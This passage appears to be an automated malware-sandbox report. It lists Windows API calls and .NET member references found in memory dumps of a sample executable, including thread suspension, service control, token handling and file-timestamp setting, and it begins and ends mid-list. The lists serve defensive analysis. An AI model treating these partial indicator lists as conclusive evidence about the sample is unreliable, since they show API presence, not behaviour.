"00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp")4c:T51d,Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp")4d:T9e7,Observed Namespace "System.IO.FileSystemInfo" and MemberReference "get_Attributes" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.File" and MemberReference "GetAttributes" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.File" and MemberReference "SetAttributes" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.File" and MemberReference "SetCreationTimeUtc" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.File" and MemberReference "SetLastAccessTimeUtc" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.File" and MemberReference "SetLastWriteTimeUtc" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.File" and MemberReference "SetLastWriteTime" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed Namespace "System.IO.FileSystemInfo" and MemberReference "get_Attributes" in "dllhost.exe" Observed Namespace "System.IO.File" and MemberReference "GetAttributes" in 